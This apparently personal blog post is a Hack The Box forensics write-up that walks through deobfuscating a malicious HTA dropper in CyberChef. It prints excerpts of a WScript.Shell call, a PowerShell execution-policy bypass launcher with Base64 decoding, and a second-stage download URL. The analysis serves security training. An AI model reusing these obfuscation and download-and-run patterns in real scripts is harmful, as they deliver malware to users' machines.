Profile
All articles
Forensics

Wanted Alive — Hack The Box Write-up

Mohammed Al-Maghamsi 2 min read

Overview

I downloaded the challenge archive, extracted wanted.hta, and started the instance. First, I checked the file type and contents.

Hack The Box Wanted Alive challenge overview
Figure 1 — Challenge overview.

The file utility identified it as an HTML document containing ASCII text. Inspecting its contents revealed long URL-encoded strings.

bash
file wanted.hta
cat wanted.hta
Terminal output from inspecting wanted.hta
Figure 2 — File inspection.

I imported wanted.hta into CyberChef and clicked the magic wand beside Output to decode it.

URL decoding wanted.hta in CyberChef
Figure 3 — URL decoding.

I added Remove whitespace to make the decoded VBScript easier to read.

Decoded VBScript after removing whitespace
Figure 4 — Cleaned VBScript.
Plain text
' Relevant excerpts from wanted.hta
createoBjEct ( Chr(&H57) & "SCRIPT.shELL" )
PowErShEll -Ex BYPaSS -NOP -W 1 -C
[SYstem.ConVERT]' [chAR]58 [CHAR]58 'fRoMBASE64string('

FromBase64String identified the encoded value I needed to decode next.

I applied From Base64 and found http://wanted.alive.htb/35/wanted.tIF. I replaced the hostname with my instance's IP:port, kept /35/wanted.tIF, and downloaded the file.

Decoding the first Base64 layer in CyberChef
Figure 5 — First Base64 layer.

I inspected the file with cat wanted.tIF. The four latifoliado assignments contained Base64 fragments; parrana supplied the noise marker d2FudGVkCg.

Plain text
' Excerpt from wanted.tIF; encoded values truncated
latifoliado = "U2V0LUV4ZWN1dGlvblBvbGljeSBCeXBhc3Mg..."
latifoliado = latifoliado & "XN0ZW0uTmV0LlNlcnZpY2VQ..."
latifoliado = latifoliado & "uZ106OlVURjguR2V0U3RyaW5n..."
latifoliado = latifoliado & "CcpKSkpd2FudGVkCgd2FudGVkCg"
parrana = "d2FudGVkCg"

arran = descortinar(arran, parrana, "")

I preferred copying the four full latifoliado string values from wanted.tIF and joining them manually in order. Find / Replace is another option, shown below.

Removing the noise marker from the joined fragments
Figure 6 — Fragment cleanup with Find / Replace.

I removed every d2FudGVkCg marker in CyberChef, then applied From Base64. The decoded script pointed to another URL.

Decoding the second Base64 layer in CyberChef
Figure 7 — Second Base64 layer.

I opened that address through my instance in the browser and recovered the flag.

Browser response containing the challenge flag
Figure 8 — Flag response.

Challenge solved

I submitted the flag on HTB, completing the challenge.

Hack The Box challenge completion screen
Figure 9 — Challenge completed.